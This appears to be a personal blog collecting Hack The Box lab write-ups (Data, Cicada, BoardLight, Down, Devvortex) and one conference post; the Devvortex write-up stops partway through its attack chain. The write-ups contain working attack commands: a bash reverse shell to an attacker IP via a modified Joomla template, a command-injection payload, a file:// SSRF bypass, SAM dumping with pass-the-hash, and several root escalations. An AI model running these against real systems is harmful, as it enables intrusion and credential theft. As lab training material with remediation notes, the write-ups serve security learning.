kami@kali:~$ journalctl

Data writeup
Data writeup

Box name: Data

Difficulty: Easy

OS: Linux

Overview: Data is an Easy Linux machine that involves exploiting [CVE-2021-43798](https://nvd.nist.gov/vuln/detail/CVE-2021-43798), an arbitrary file read via path traversal in Grafana. By exploiting this vulnerability, the database file for Grafana is extracted, and the hashes in the database are converted to a format readable by Hashcat. The hash is then cracked and can be used for SSH access to the target as user boris. The compromised user has the privileges to execute docker exec as root on the system, allowing the user to escalate and obtain root access by adding the privileged flag to running containers and mounting the host filesystem.

Link: https://app.hackthebox.com/machines/Data?sort_by=created_at&sort_type=desc

Machine IP: 10.129.234.47

Ran rustscan.

rustscan -a 10.129.234.47 –ulimit 5000 -b 2000 — -A -Pn

Navigated to the webserver on port 3000.

There also appears to be a verison number bottom right Grafana v8.0.0. Did some googling and it looks like it’s vulnerable to CVE-2021-43798 https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798/tree/main. Downloaded exploit.py, set the targets.txt to this webapp and ran it. It looks like it gave us a secret key and we were able to get a few interesting files.

sqlite3 grafana.db “select login,password,salt from user;”

Looks like we were able to get some user with hashes and salts. While cracking the hashes I had some issue using hashcat alone. I put the hash and salts in ghash.txt, downloaded grafana2hashcat.py then ran hashcat on them.

wget https://raw.githubusercontent.com/iamaldi/grafana2hashcat/main/grafana2hashcat.py

python3 grafana2hashcat.py ghash.txt -o hashcat_ready.txt

hashcat -m 10900 hashcat_ready.txt /usr/share/wordlists/rockyou.txt

boris:beautiful1

Tried sshing in and we got in.

Ran sudo -l for a quick win and found something interesting.

We can get in to the container with root using this:

sudo /snap/bin/docker exec -u root -it grafana /bin/sh

Then mount the host disk.

mount /dev/sda1 /mnt

And with this we can see all the files and read root.txt

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 3000 (HTTP). Browsed to port 3000 and found a Grafana login page with the version number visible in the bottom right corner as v8.0.0.

rustscan -a 10.129.234.47 –ulimit 5000 -b 2000 — -A -Pn

2 – Initial Access – Grafana path traversal file read – CVE-2021-43798 Researched Grafana 8.0.0 and found CVE-2021-43798, an unauthenticated path traversal vulnerability allowing arbitrary file read. Downloaded a public exploit, pointed it at the target, and successfully retrieved sensitive files including the Grafana SQLite database.

3 – Hash extraction and cracking Queried the extracted database to retrieve user login, password hash, and salt values. Used grafana2hashcat to convert the Grafana hash format into a Hashcat-compatible format and cracked the hash with rockyou.

sqlite3 grafana.db “select login,password,salt from user;” python3 grafana2hashcat.py ghash.txt -o hashcat_ready.txt hashcat -m 10900 hashcat_ready.txt /usr/share/wordlists/rockyou.txt

Credentials recovered: boris:beautiful1

4 – SSH access and user flag Authenticated via SSH as boris and retrieved user.txt.

5 – Privilege Escalation – Docker exec as root Ran sudo -l and found boris could run docker exec as root. Executed into the running grafana container as root then mounted the host disk inside the container, gaining access to the full host filesystem. Retrieved root.txt.

sudo /snap/bin/docker exec -u root -it grafana /bin/sh mount /dev/sda1 /mnt

Key Takeaways
1. Unauthenticated path traversal in Grafana – CVE-2021-43798 (CVSS 7.5 High) – Grafana 8.0.0 allowed unauthenticated path traversal to read arbitrary files from the server filesystem including the SQLite database containing user credentials. Grafana must be kept up to date and access must be restricted to authorised users and IP ranges.
2. Version number disclosed in the UI – The Grafana version was visible on the login page without authentication, allowing immediate and precise exploit selection. Version disclosure in public-facing login pages must be disabled.
3. Grafana database accessible via file read – The SQLite database storing all Grafana user credentials was readable through the path traversal vulnerability. Sensitive application databases must have restrictive filesystem permissions and must not be stored in locations accessible to web-facing processes beyond what is required.
4. Weak password crackable with rockyou – Boris’s password was in the rockyou wordlist and cracked quickly. All user accounts must use passwords that are resistant to dictionary attacks and password complexity must be enforced at the application level.
5. Docker exec sudo rule enabling container escape – Boris could run docker exec as root with no restrictions, allowing entry into a privileged container and mounting of the host filesystem. Docker exec sudo rules are effectively equivalent to unrestricted root access and must never be granted to standard users.
Remediation

[Immediate] Patch Grafana to remediate CVE-2021-43798 (CVSS 7.5 High) Update Grafana to the latest patched version immediately. This vulnerability has been patched since late 2021 and its presence indicates patch management has not been applied. Restrict Grafana access to authorised IP ranges and place it behind a VPN or authenticated reverse proxy. Disable version disclosure on the login page.

[Immediate] Rotate all credentials extracted from the Grafana database The boris account credentials and any other hashes recovered from the database must be considered fully compromised. Rotate all affected passwords immediately. Audit the Grafana instance for any data source credentials or API keys that may also have been exposed through the file read.

[Immediate] Remove the docker exec sudo rule Delete the sudoers entry allowing boris to run docker exec as root immediately. Unrestricted docker exec as root is functionally equivalent to full root access and must never be granted to standard users. If container management access is operationally required, implement it through a controlled and audited privileged access management solution.

[Short-term] Enforce a strong password policy Boris’s password was in the rockyou wordlist. Enforce a minimum password length of 14 characters with complexity requirements for all application and OS accounts. Audit existing passwords against common wordlists and force resets where weak passwords are found.

[Short-term] Harden Docker and container runtime security Audit all sudo rules referencing Docker commands across all hosts. Implement container runtime security controls preventing host filesystem mounts from within containers unless explicitly required. Apply the principle of least privilege to all container configurations and restrict which users can interact with the Docker daemon.

[Long-term] Implement a monitoring and internal tool patch management programme Grafana and similar internal monitoring tools are frequently overlooked in patch cycles despite running with access to sensitive credentials and data sources. Include all internal tooling in regular vulnerability scans and establish patch SLAs covering monitoring platforms, dashboards, and observability stacks.
Cicada writeup
Cicada writeup

Box name: Cicada

Difficulty: Easy

OS: Windows

Overview: Cicada is an easy-difficult Windows machine that focuses on beginner Active Directory enumeration and exploitation. In this machine, players will enumerate the domain, identify users, navigate shares, uncover plaintext passwords stored in files, execute a password spray, and use the SeBackupPrivilege to achieve full system compromise.

Link: https://app.hackthebox.com/machines/Cicada?sort_by=created_at&sort_type=desc

Machine IP: 10.129.231.149

Scanned the machine with Rustscan.

rustscan -a 10.129.231.149 –ulimit 5000 -b 2000 — -A -Pn

Off the bat this looks like a AD box. Added cicada.htb to /etc/hosts. Lets check out SMB first. Ran netexec as it’s a new tool I want to be more familiar with.

netexec smb 10.129.231.149 -u “” -p “” –shares

Didn’t get anything eventful back. Checking with Smbclient to confirm we can’t connect unauthenticated.

smbclient -L -N //10.129.231.149/

And we can not. I want to check out LDAP and the http server next. I’ll check the http server on 5985 as I bet it’s nothing useful.

Got 404. Lets check out ldap. I was able to find some users with netexec RID brute using guest.

netexec smb 10.129.231.149 -u “guest” -p “” –rid-brute

Created a list with the users. Since guest worked here I just want to check smb again. We can see some interesting shares.

smbclient -L //10.129.231.149/ -U guest

I couldn’t get into /DEV. I was able to get into HR though.

Downloaded that file. I’m gonna bet its a default password for a recently onboarded user. And it is lol Cicada$M6Corpb*@Lp#nZp!8.

Sprayed the newly found crews.

nxc ldap cicada.htb -u users.txt -p ‘Cicada$M6Corpb*@Lp#nZp!8’

Michael didn’t change these creds. cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

Evil-winrm partially connected but then disconnected. I bet I have to reset his password. I tried to reset his password but he actually isn’t able to.

Going back to smbclient I want to see if michael has access to /DEV. He doesn’t though. Didn’t find anything further. I tried psexec to get a shell but none of the shares are writable.

/usr/bin/impacket-psexec cicada.htb/michael.wrightson@cicada.htb cmd.exe

I went through my notes and I rechecked the users authenticated and it looks like it found that david has his password in his description.

netexec smb 10.129.231.149 -u michael.wrightson -p ‘Cicada$M6Corpb*@Lp#nZp!8’ –users

david.orelious:aRt$Lp#7t*VQ!3

Couldn’t get a full shell with david yet. Went back to /DEV and david has access to that.

smbclient //10.129.231.149/DEV -U ‘cicada.htb/david.orelious’

Download it and read it.

Looks like emily’s credentials are here now. emily.oscars:Q!3@Lp#M6b*7t*Vt

Tried evil-winrm now and finally we get a shell.

evil-winrm -i 10.129.231.149 -u emily.oscars -p ‘Q!3@Lp#M6b*7t*Vt’

Did some local enumeration and came across our privileges and this looked like a recent box I did.

We can backup then dump SAM. Let’s back them up and download them to our machine first.

reg save hklm\sam .\sam

reg save hklm\system .\system

download sam

download system

Dump it and make sure to remove existing system and sam because I wasted some time cracking and trying a hash from a previous machine… 🙂

impacket-secretsdump -sam sam -system system LOCAL

And we get the Administrator hash. In the meantime I forgot to get user.txt so I grabbed that.

I couldn’t actually crack the hash but since we have the hash we can pass the hash.

evil-winrm -i 10.129.231.149 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341

Got in and got root.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified a domain-joined Windows machine with ports including 53 (DNS), 88 (Kerberos), 135 (MSRPC), 389 (LDAP), 445 (SMB), and 5985 (WinRM). Added cicada.htb to /etc/hosts. Checked the HTTP port on 5985 and got a 404.

rustscan -a 10.129.231.149 –ulimit 5000 -b 2000 — -A -Pn

2 – SMB enumeration and default password discovery Tried unauthenticated SMB access with netexec and smbclient with no success. Used netexec RID brute-forcing with the guest account to enumerate domain users and built a user list. Reconnected to SMB as guest and found accessible shares including HR. Downloaded a file from the HR share containing a default onboarding password.

netexec smb 10.129.231.149 -u “guest” -p “” –rid-brute smbclient -L //10.129.231.149/ -U guest

Password found: Cicada$M6Corpb*@Lp#nZp!8

3 – Password spray and credential chain Sprayed the default password across all enumerated users via LDAP. Michael Wrightson had not changed his default credentials and authenticated successfully. Authenticated as michael and ran a user enumeration query which revealed david.orelious had his password stored in his account description field.

nxc ldap cicada.htb -u users.txt -p ‘Cicada$M6Corpb*@Lp#nZp!8’ netexec smb 10.129.231.149 -u michael.wrightson -p ‘Cicada$M6Corpb*@Lp#nZp!8’ –users

Credentials recovered: david.orelious:aRt$Lp#7t*VQ!3

4 – DEV share access and further credential discovery Michael did not have access to the DEV share but david did. Connected to DEV as david and found a file containing emily’s credentials in plaintext.

smbclient //10.129.231.149/DEV -U ‘cicada.htb/david.orelious’

Credentials recovered: emily.oscars:Q!3@Lp#M6b*7t*Vt

5 – WinRM access and user flag Authenticated via evil-winrm as emily and got a shell. Retrieved user.txt.

evil-winrm -i 10.129.231.149 -u emily.oscars -p ‘Q!3@Lp#M6b*7t*Vt’

6 – Privilege Escalation – SeBackupPrivilege SAM dump Enumerated emily’s privileges and identified SeBackupPrivilege, matching a previous box. Used it to back up the SAM and SYSTEM hives, downloaded them to the attack machine, and ran impacket-secretsdump to extract local account hashes.

reg save hklm\sam .\sam reg save hklm\system .\system impacket-secretsdump -sam sam -system system LOCAL

7 – Pass the hash as Administrator Cracking the Administrator hash was not successful but pass-the-hash with evil-winrm worked directly. Retrieved root.txt.

evil-winrm -i 10.129.231.149 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341

Key Takeaways
1. Default onboarding password not changed – A plaintext default password was stored in an HR share file and at least one user had not changed it. Default or temporary passwords must be rotated immediately on first login and enforcement must be technical rather than policy-based.
2. Password stored in Active Directory account description field – David’s password was visible in his AD user description, readable by any authenticated domain user. AD description and comment fields must be audited for sensitive data regularly and credentials must never be stored in directory attributes.
3. Plaintext credentials stored in a DEV share file – Emily’s credentials were stored in a plaintext file on a network share. Credentials must never be stored in files on shared drives and all shares must be audited for sensitive content on a regular basis.
4. Credential chain across three accounts – A single default password led to three separate accounts through credential reuse and plaintext storage, ultimately enabling domain compromise. Each link in the chain represents a standalone critical finding and illustrates how credential hygiene failures compound.
5. SeBackupPrivilege assigned to a standard user – Emily held SeBackupPrivilege allowing SAM and SYSTEM hive extraction without needing direct Administrator access. This privilege must be restricted to dedicated backup service accounts and monitored closely.
6. NTLM hash sufficient for authentication without cracking – The Administrator hash was usable directly via pass-the-hash without ever needing the plaintext password. NTLM authentication should be disabled where possible and Credential Guard should be enabled to protect hashes in memory.
Remediation

[Immediate] Enforce password change on first login for all accounts Implement a technical control requiring all newly provisioned accounts to change their password before any other access is granted. Remove the HR share file containing the default password and rotate all accounts that used it. Audit all accounts for unchanged default passwords.

[Immediate] Remove credentials from all AD description and attribute fields Audit all Active Directory user and computer objects for passwords or sensitive data in description, comment, info, or any other attribute field. Remove all findings immediately and rotate affected credentials. Automate this check as part of a recurring AD health review.

[Immediate] Remove plaintext credentials from all network shares Audit all SMB shares for files containing credentials, connection strings, or other sensitive data. Remove any findings immediately and rotate the exposed credentials. Implement a data loss prevention control to detect credential patterns in files written to shared locations.

[Immediate] Review and restrict SeBackupPrivilege assignments Audit all accounts holding SeBackupPrivilege and SeRestorePrivilege. Remove the privilege from any account without an explicit operational backup requirement and assign it only to dedicated backup service accounts managed through a PAM solution.

[Short-term] Disable NTLM and enforce Kerberos authentication Configure Group Policy to restrict NTLM usage across the domain. Enable Windows Defender Credential Guard to prevent hash extraction from memory. Where NTLM cannot be fully disabled, enforce NTLMv2 at minimum and monitor for pass-the-hash indicators via SIEM alerting.

[Short-term] Enforce a strong password policy and disable weak passwords Implement a Fine-Grained Password Policy requiring a minimum of 15 characters with complexity for all domain accounts. Deploy a banned password list to prevent common patterns and dictionary words. Audit existing passwords against rockyou and common wordlists and force resets where weak passwords are identified.

[Long-term] Implement tiered Active Directory administration Adopt a tiered AD model separating workstation, server, and domain controller administration. Restrict privileged account usage to dedicated admin workstations and ensure standard user accounts cannot accumulate privileges through SeBackupPrivilege or similar assignments. Include AD security configuration in the regular penetration testing scope.
BoardLight writeup
BoardLight writeup

Box name: BoardLight

Difficulty: Easy

OS: Linux

Overview: BoardLight is an easy difficulty Linux machine that features a Dolibarr instance vulnerable to CVE-2023-30253. This vulnerability is leveraged to gain access as www-data. After enumerating and dumping the web configuration file contents, plaintext credentials lead to SSH access to the machine. Enumerating the system, a SUID binary related to enlightenment is identified which is vulnerable to privilege escalation via CVE-2022-37706 and can be abused to leverage a root shell.

Link: https://app.hackthebox.com/machines/BoardLight?sort_by=created_at&sort_type=desc

Machine IP: 10.129.24.20

Ran rustscan.

rustscan -a 10.129.24.20 –ulimit 5000 -b 2000 — -A -Pn

Navigated to the webserver.

Ran feroxbuster. I was going to run ffuf but I dont think this applies and I realized in recent writeups I was sometimes not using it properly so I’ll just start here for now.

feroxbuster -u http://10.129.24.20 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

While looking around further we can see board.htb address so we can add that to /etc/hosts and also check subdomains and vhosts.

Ran ffuf.

ffuf -u http://FUZZ.board.htb -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

ffuf -u http://board.htb -H “Host: FUZZ.board.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302 -fs 15949

Right away the VHOST command found crm. Added that to /etc/hosts.

Checked it out.

Looks like a Dolibarr 17.0.0 server. I looked up default credentials which is admin:admin. It gave me partial access.

Poked around but can’t really do anything with it. Looked up exploit and I found it is vulnerable to CVE-2023-30253 and there is an exploit code https://github.com/dollarboysushil/Dolibarr-17.0.0-Exploit-CVE-2023-30253. Read through it and this also looks like it was created exactly for this lab. Set up a listener.

nc -lvnp 1337

Downloaded the exploit and ran it.

And we got a shell.

Stabilized.

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

There’s a user named larissa but can’t navigate to it. Researched where Dolibarr creds would be and found a password here.

Tried to reuse these on larissa through ssh and we got in and got user.txt.

larissa:serverfun2$2023!!

Tried running sudo -l for quick win but larissa can’t run it. Did a bit of manual enumeration but couldn’t find anything. Threw linpeas on the device and ran that. Under Interesting Permissions there’s something called enlightenment that looks vulnerable to CVE-2022-37706.

Downloaded the exploit on my machine. Uploaded it to the target and ran it and we got root.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Browsed to the web server and spotted a board.htb address referenced on the page. Added board.htb to /etc/hosts and ran feroxbuster. Ran ffuf for subdomain and VHOST enumeration and immediately found a crm VHOST. Added crm.board.htb to /etc/hosts.

rustscan -a 10.129.24.20 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://10.129.24.20 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt ffuf -u http://board.htb -H “Host: FUZZ.board.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302 -fs 15949

2 – Dolibarr default credentials and RCE – CVE-2023-30253 Browsed to crm.board.htb and found a Dolibarr 17.0.0 login page. Tried default credentials of admin:admin and gained partial access. Researched the version and found CVE-2023-30253, a PHP code injection vulnerability in Dolibarr 17.0.0. Used a public exploit to obtain a reverse shell as www-data.

Credentials: admin:admin

3 – Credential extraction from Dolibarr config Stabilised the shell and researched where Dolibarr stores its configuration. Found a config file containing plaintext database credentials. Tried reusing the password for the larissa user via SSH and it worked. Retrieved user.txt.

Credentials recovered: larissa:serverfun2$2023!!

4 – Privilege Escalation – Enlightenment SUID – CVE-2022-37706 Ran sudo -l but larissa had no sudo privileges. Ran LinPEAS and identified an enlightenment SUID binary flagged as vulnerable to CVE-2022-37706. Downloaded the public exploit, uploaded it to the target, and executed it to obtain a root shell. Retrieved root.txt.

Key Takeaways
1. Default credentials on Dolibarr (CVSS 9.8 Critical) – The Dolibarr instance was accessible using the well-known default credentials admin:admin. Default credentials must be changed before any application is connected to a network and credential audits must be part of every deployment checklist.
2. Dolibarr PHP code injection via CVE-2023-30253 (CVSS 8.8 High) – Dolibarr 17.0.0 was vulnerable to a PHP code injection flaw allowing authenticated users to achieve remote code execution. CRM and business application platforms must be patched promptly and version information must not be disclosed publicly.
3. Plaintext credentials in Dolibarr config file – The database password was stored in plaintext in a configuration file readable after gaining a foothold. Configuration files must have restrictive permissions and credentials must never be stored in plaintext. Use environment variables or a secrets management solution for application credentials.
4. Password reuse between application config and OS account – The same password found in the Dolibarr config file granted SSH access as larissa, turning a web application compromise into full user-level OS access. Credentials must be unique across every service and account without exception.
5. Vulnerable SUID binary – CVE-2022-37706 (CVSS 7.8 High) – An enlightenment SUID binary was present on the system and vulnerable to a local privilege escalation exploit. SUID binaries must be audited regularly and any that are not explicitly required must have the SUID bit removed.
6. Weak default password on administrative account – The admin:admin credential is one of the first combinations any attacker will try. Even where a system forces a password change after first login, the initial credential must not be a known default.
Remediation

[Immediate] Change all default credentials and enforce a password policy Rotate the Dolibarr admin password immediately and audit all other applications and services for default credentials. Enforce a password policy requiring a minimum of 14 characters with complexity across all accounts. Default credentials must be changed as part of every application deployment before the service is made network-accessible.

[Immediate] Patch Dolibarr to remediate CVE-2023-30253 (CVSS 8.8 High) Update Dolibarr to the latest patched version immediately. Restrict access to the Dolibarr admin panel to authorised IP ranges and place it behind a VPN where possible. Subscribe to Dolibarr security advisories and apply patches within 48 hours of a critical release.

[Immediate] Rotate all credentials recovered from the config file The larissa SSH password and any database credentials found in the Dolibarr configuration must be considered fully compromised. Rotate all affected credentials immediately and migrate secrets to environment variables or a dedicated secrets management solution.

[Immediate] Audit and remove unnecessary SUID binaries Run find / -perm -4000 -type f 2>/dev/null across all Linux hosts and audit every SUID binary found. Remove the SUID bit from any binary that does not have an explicit operational requirement using chmod u-s. Apply this as part of a recurring hardening review and patch CVE-2022-37706 by updating or removing the enlightenment package.

[Short-term] Enforce unique passwords across all accounts and services The password reuse between the Dolibarr config and the larissa OS account enabled a direct pivot from web application compromise to SSH access. Implement a policy requiring unique credentials per account and per service. Conduct a credential audit across all systems to identify and remediate shared passwords.

[Long-term] Implement application hardening and a regular patch cadence Define a hardening baseline for all CRM and business application deployments covering default credential rotation, patch management, config file permissions, network access restrictions, and SUID auditing. Include all business applications in regular vulnerability scans and penetration tests.
Down writeup
Down writeup

Box name: Down

Difficulty: Easy

OS: Linux

Overview: Down is an easy-rated Linux machine that involves exploiting an arbitrary file read by bypassing a protocol-based filter to discover the source code of the running PHP web app, eventually, a remote code execution to gain an initial foothold. The attacker finds a readable pswm encrypted file in the user’s home directory. The pwsm uses Python’s cryptocode module and a master password to encrypt and decrypt the data. The attacker is supposed to write a small script to decrypt the blob and compromise the user. The compromised user is a member of the sudo group, allowing the user to escalate and obtain root access.

Link: https://app.hackthebox.com/machines/Down?sort_by=created_at&sort_type=desc

Machine IP: 10.129.234.87

Ran rustscan.

Checked out the http server. It looks like a site similar to down detector.

Nothing interesting in sourcecode or robots.txt. Checked exploits for Apache 2.4.52 and ran feroxbuster.

feroxbuster -u http://10.129.234.87 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

While thats running I want to check how this site is functioning. If I set up a netcat listener on 80 and have put in my IP, it looks like it’s just curling to test if the site is up.

As it’s using curl we can make it fetch the source code for us. Using Burp we can set the url variable to http://+file%3a///var/www/html/index.php, then beautify the response so the code is a bit easier to read.

It looks like there is an expertmode condition. We can check that out if we go to http://10.129.234.87/index.php?expertmode=tcp.

Right away this looks like we might be able to get a shell from this. After some testing and researching we can get a shell using:

ip=10.10.16.147&port=1337+-e+/bin/bash

Stabilized my shell.

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

And we actually got user.txt.

Originally I didn’t think there would be another user since user.txt was already given to us but there’s another user aleks.

We have access to aleks’ directory and poking around his files I eventually found /home/aleks/.local/share/pswm/pswm. When I read that it looks like some sort of hashes.

After researching pswm, that checks out as its a Python password manager https://github.com/Julynx/pswm. I couldn’t find any other credentials to decrypt these but I found a tool online https://github.com/seriotonctf/pswm-decryptor. Copied the output of the file on my machine in pswmhash.txt. Downloaded pswm-decrypt.py. Installed the requirements.

pip3 install cryptocode prettytable –break-system-packages

And ran rockyou against it.

python3 pswm-decrypt.py -f pswmhash.txt -w /usr/share/wordlists/rockyou.txt

aleks:1uY3w22uc-Wr{xNHR~+E

SShed into the device as aleks successfully.

Ran sudo -l for an easy win and we actually got it. We can run sudo all so I just switched over to root and got the flag.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Browsed to the web server and found a site similar to Down Detector for checking if URLs are online. Nothing interesting in source code or robots.txt. Researched Apache 2.4.52 for exploits and ran feroxbuster while poking around manually.

feroxbuster -u http://10.129.234.87 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

2 – Arbitrary file read via SSRF filter bypass Tested the site’s URL checking functionality by pointing it at a local netcat listener and confirmed the backend was using curl to fetch the target URL. Used Burp to modify the url parameter to a file URI, bypassing the HTTP-only intent and reading the PHP source code directly from the server filesystem.

url=http://+file%3a///var/www/html/index.php

3 – Initial Access – expertmode RCE Source code review revealed a hidden expertmode parameter enabling a TCP connection mode. Navigated to the expertmode endpoint and tested input handling. Confirmed command injection was possible through the port parameter. Passed a bash reverse shell payload and caught a shell as www-data. Retrieved user.txt directly from the landing directory.

http://10.129.234.87/index.php?expertmode=tcp ip=10.10.16.147&port=1337+-e+/bin/bash

4 – Lateral movement – pswm password manager decryption Discovered a second user aleks on the machine. Found a pswm encrypted password manager file at /home/aleks/.local/share/pswm/pswm. Researched pswm and found it uses Python’s cryptocode module with a master password. Copied the file to the attack machine and used a pswm brute-force decryptor tool with rockyou to recover the master password and decrypt the stored credentials.

pip3 install cryptocode prettytable –break-system-packages python3 pswm-decrypt.py -f pswmhash.txt -w /usr/share/wordlists/rockyou.txt

Credentials recovered: aleks:1uY3w22uc-Wr{xNHR~+E

5 – Privilege Escalation – sudo all SSH’d in as aleks and ran sudo -l. Found aleks had unrestricted sudo access. Switched to root and retrieved root.txt.

Key Takeaways
1. SSRF enabling arbitrary file read via file URI – The URL checking functionality passed user-supplied input directly to curl with no protocol restriction, allowing a file:// URI to read arbitrary files from the server filesystem including the PHP source code. User-supplied URLs must be validated against a strict allowlist of permitted protocols and destinations.
2. Hidden expertmode parameter enabling command injection – A hidden GET parameter exposed a TCP connection mode that passed user input unsanitised to a system command, allowing arbitrary code execution. All application parameters must be documented, authenticated, and subject to input validation regardless of whether they are visible in the UI.
3. Sensitive password manager file readable by other users – The pswm encrypted file in aleks’ home directory was readable by the www-data user, allowing it to be copied off the system and brute-forced offline. Home directory files must have restrictive permissions and sensitive files must be accessible only by the owning user.
4. Password manager master password in rockyou wordlist – The master password protecting all of aleks’ stored credentials was crackable with rockyou. A password manager master password is the single point of failure for all stored credentials and must be a long, randomly generated passphrase not present in any wordlist.
5. Unrestricted sudo access for a standard user – Aleks had full sudo access with no restrictions, meaning any compromise of this account leads directly to root. Sudo must be configured with the principle of least privilege and unrestricted sudo should never be assigned to standard user accounts.
Remediation

[Immediate] Remediate SSRF and restrict permitted URL protocols Validate all user-supplied URLs against a strict allowlist permitting only http and https to approved external destinations. Block file://, gopher://, dict://, and all other non-HTTP protocols at the application level. Implement a server-side request forgery protection library and consider proxying all outbound requests through a controlled egress point.

[Immediate] Remove or restrict the expertmode parameter Audit all application parameters including hidden and undocumented ones and remove any that are not required. The expertmode TCP functionality must be disabled or placed behind strong authentication. Apply strict input validation and sanitisation to all parameters that interact with system commands, blocking shell metacharacters and injection payloads.

[Immediate] Restrict sudo privileges for aleks Remove the unrestricted sudo entry for aleks immediately. If elevated access is operationally required, define explicit sudo rules limited to the specific commands needed. Audit all user sudo configurations across the system and remove any entries granting unrestricted access.

[Short-term] Enforce strict home directory and file permissions Set home directories to mode 700 so they are not readable by other users. Audit all files in user home directories for world or group readable permissions and correct them. Sensitive application data files such as password manager stores must be readable only by the owning user.

[Short-term] Enforce a strong master password policy for password managers The pswm master password must be a randomly generated passphrase of at least 20 characters not derived from any dictionary word. Educate users that the master password is the single point of failure for all stored credentials and must be treated with the highest level of protection. Consider replacing pswm with a more enterprise-grade secrets management solution.

[Long-term] Implement source code review and security testing for all web applications The SSRF and command injection vulnerabilities in this application would be identified by a basic web application security assessment. Integrate SAST tooling into the development process to catch file URI handling, unsanitised user input, and hidden parameter issues before deployment. Conduct regular penetration tests covering all application endpoints including undocumented ones.
Bsides South Jersey 2026

Went to my first cybersecurity conference this weekend, BSides South Jersey, with a few friends and honestly didn’t know what to expect going in. Ended up sitting through a bunch of really interesting talks, and got a bunch of cool free merch (especially from HackTheBox). Highlight of the day, we jumped into the CTF by Cyber Skyline and I managed to pull off 3rd place. Definitely wasn’t expecting that, but I’ll take it.

Overall just a really solid experience and excited to check out more in the future.
Devvortex writeup
Devvortex writeup

Box name: Devvortex

Difficulty: Easy

OS: Linux

Overview: Devvortex is an easy-difficulty Linux machine that features a Joomla CMS that is vulnerable to information disclosure. Accessing the service's configuration file reveals plaintext credentials that lead to Administrative access to the Joomla instance. With administrative access, the Joomla template is modified to include malicious PHP code and gain a shell. After gaining a shell and enumerating the database contents, hashed credentials are obtained, which are cracked and lead to SSH access to the machine. Post-exploitation enumeration reveals that the user is allowed to run apport-cli as root, which is leveraged to obtain a root shell.

Link: https://app.hackthebox.com/machines/Devvortex?sort_by=created_at&sort_type=desc

Machine IP: 10.129.229.146

Ran rustscan against the machine

Rustscan -a 10.129.229.146 –ulimit 5000 -b 2000 – -A -Pn

Port 80 is open. Checked that out but first have to add devvortex.htb to /etc/hosts. Nothing initially important looking into source code. Ran feroxbuster.

feroxbuster -u http://devvortex.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

No robots.txt. Searchsploitted nginx 1.18.0 but no results. I was scanning during a Bsides talk and feroxbuster didn’t find anything interesting. I also check subdomains and VHOST.

ffuf -u http://FUZZ.devvortex.htb -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

ffuf -u http://devvortex.htb -H “Host: FUZZ.devvortex.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302

And we found a dev VHOST.

That brought me to a 404 page. I checked robots.txt though and this is a Joomla site.

Navigated through those. Did some googling and we are able to get the version from http://dev.devvortex.htb/administrator/manifests/files/joomla.xml. Joomla version 4.2.6.

Doing some Googling I found it was vulnerable to CVE-2023-23752 https://www.vulncheck.com/blog/joomla-for-rce. We can literally just curl and get MySQL database creds in plain text.

curl -s “http://dev.devvortex.htb/api/index.php/v1/config/application?public=true” | python3 -m json.tool

From the response it looks we get some credentials. lewis:P4ntherg0t1n5r3c0n##

Tried that on SSH first but it didn’t work so I tried it on the Joomla admin login and I got in. Saw a second user under Users, logan paul. Tried password reuse on SSH but no avail.

Poked around and did some research. We can get a shell by editing the PHP files found at System -> Templates -> Site Templates -> Cassiopeia Details and Files. In my case I’ll edit error.php.

Triggered it and we got a shell.

nc -lvnp 1337

curl “http://dev.devvortex.htb/templates/cassiopeia/error.php?cmd=bash+-c+’bash+-i+>%26+/dev/tcp/10.10.16.147/1337+0>%261′”

Logan is a user and user.txt exists there but we don’t have permissions.

Likely his credentials are in the database from Joomla. Stabilized my shell.

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

We already have creds of the MySQL admin database admin so we can connect.

mysql -u lewis -p’P4ntherg0t1n5r3c0n##’ -D joomla

Showed the datases and I seen joomla. Selected that database. Showed the tables and found where we could get logan’s credentials.

SHOW DATABASES;

use joomla

SHOW TABLES;

SELECT * FROM sd4fg_users;

$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 This is a bcrypt hash. Put that in hash.txt then ran rockyou against it and cracked it on the pwnbox as my computer is too weak.

hashcat -m 3200 ‘$2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12’ /usr/share/wordlists/rockyou.txt

logan:tequieromucho

SSHed in as logan and we get user.txt

Sudo -l for a quick win and looked like we can run apport-cli as sudo.

Checked GTFObins. We can inherit from less. We can use apport-cli as sudo, run a report and when we view it (it will be using less) we can get !/bin/bash. I can’t quite show it in screenshots but we can run

Sudo /user/bin/apport-cli –file-bug

Select 2 (or any number)

Select 2 (or any number)

Select V to view (this will be using less)

Type !/bin/bash and we get root

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Added devvortex.htb to /etc/hosts and browsed to the site. Nothing interesting in the source code. Ran feroxbuster and then ffuf for subdomain and VHOST enumeration. Discovered a dev VHOST at dev.devvortex.htb.

